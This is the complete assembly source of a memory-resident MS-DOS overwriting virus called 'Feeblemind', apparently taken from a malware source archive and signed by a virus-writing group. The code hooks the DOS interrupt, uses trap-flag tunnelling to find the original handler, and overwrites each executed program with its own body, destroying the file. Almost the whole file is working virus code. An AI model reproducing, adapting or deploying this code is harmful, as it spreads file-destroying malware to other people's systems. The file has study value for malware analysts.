MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.feeble.a86
2021-01-12 17:41:47 -06:00

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;
; Feeblemind
;
Start: Jmp Install
Old21 Dd 0
Org21 Dd 0
Inc10: Add Ah,10h
Eoi: Jmp Dword Ptr Cs:[Org21]
New21: Sub Ah,10h
Cmp Ax,3b00h
Jne Inc10
Push Ax
Push Bx
Push Cx
Push Dx
Push Ds
Push Es
Push Si
Push Di
Mov Ax,3d02h
Pushf
Call Dword ptr Cs:[Old21]
Xchg Ax,Bx
Mov Ah,30h
Add Ah,10h
Mov Cx,VLen
Lea Dx,Start
Mov Ds,Cs
Pushf
Call Dword ptr Cs:[Old21]
Mov Ah,3eh
Pushf
Call Dword Ptr Cs:[old21]
Pop Di
Pop Si
Pop Es
Pop Ds
Pop Dx
Pop Cx
Pop Bx
Pop Ax
Jmp EOI
Db '[Feeblemind]'
Install: Mov Ax,3501h
Int 21h
Mov Word Ptr Cs:[Old1],Bx
Mov Word Ptr Cs:[Old1][2],Es
Mov Ax,2501h
Mov Ds,Cs
Lea Dx,New1
Int 21h
Cli
Pushf
Pop Ax
Or Ah,1
Push Ax
Popf
Sti
Mov Ah,30h
Int 21h
Cli
Pushf
Pop Ax
And Ah,0feh
Push Ax
Popf
Sti
Mov Ds,Word ptr Cs:[Old1][2]
Mov Dx,Word ptr Cs:[Old1]
Mov Ax,2501h
Int 21h
Mov Ax,1521h
Add Ah,20h
Int 21h
Mov Word Ptr Cs:[Org21],Bx
Mov Word Ptr Cs:[Org21][2],Es
Mov Ax,1521h
Add Ah,10h
Mov Ds,Cs
Lea Dx,New21
Int 21h
Lea Dx,EndByte
Int 27h
Old1 Dd 0
New1: Push Bp
Mov Bp,Sp
Cmp Word Ptr Ss:[Bp][4],116h
Jne Einde
Push Ax
Mov Ax,Ss:[Bp][4]
Mov Word Ptr Cs:[Old21][2],Ax
Mov Ax,Ss:[Bp][2]
Mov Word Ptr Cs:[Old21],Ax
And Word Ptr Ss:[Bp][6],0fffeh
Pop Ax
Einde: Pop Bp
Iret
Endbyte Db 0
Vlen Equ $-Start
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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